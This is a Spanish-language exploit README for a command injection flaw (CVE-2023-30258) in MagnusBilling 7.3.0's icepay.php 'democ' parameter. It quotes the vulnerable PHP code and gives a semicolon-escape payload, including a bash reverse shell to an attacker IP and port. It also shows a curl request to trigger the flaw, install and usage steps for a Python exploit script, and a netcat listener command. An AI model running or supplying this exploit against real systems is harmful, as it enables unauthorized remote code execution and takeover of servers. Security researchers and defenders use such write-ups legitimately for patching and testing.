
Vulnerabilidad de RCE en magnus billing php resource
Existe una vulnerabilidad de ejecución remota de código en magnus billing 7.3.0, en el parámetro "democ" del recurso "icepay.php", donde se puede escapar la consulta y ejecutar el comando deseado.
if (isset($_GET['democ'])) {
if (strlen($_GET['democ']) > 5) {
exec("touch " . $_GET['democ'] . '.txt');
} else {
exec("rm -rf *.txt");
}
}
El parámetro "democ" se pasa a exec() para crear un nuevo archivo, pero como se puede ver no hay ninguna sanitización de cadenas, y el atacante puede escapar fácilmente el comando touch y ejecutar un comando o incluso obtener una reverse shell. Para omitir la extensión .txt, simplemente podemos agregar otro ";" al final de la cadena. El payload final se vería así:
testfile;<comando>;testfile
y así es como se vería cuando se pasa a la función exec():
exec('touch testfile;<comando>;testfile.txt');
ej. reverse shell:
exec('touch testfile; bash -c "bash -i >& /dev/tcp/<ip>/<puerto> 0>&1";testfile.txt')
podríamos usar curl para obtener una reverse shell, ej.
curl -X GET http://127.0.0.1:8080/lib/icepay/icepay.php?democ=testfile;<payload_urlencoded>;testfile
o si lo prefieres, puedes usar el script de Python de este repositorio. Instalación:
git clone https://github.com/kayl22/magnus_billing_7.3.0_RCE_CVE-2023-30258 # obtener el repositorio
cd ./magnus_billing_7.3.0_RCE_CVE-2023-30258 # cambiar de directorio
chmod +x ./magnusbilling_rce.py # agregar permisos de ejecución al script de Python
uso:
./magnusbilling_rce.py -h # mostrar ayuda
./magnusbilling_rce.py -lh <ip_atacante> -lp <puerto_local> -u http://<ip/dominio>:<puerto>/
y por último, pero no menos importante, recuerda iniciar un listener con netcat:
nc -nlvvp <puerto_local>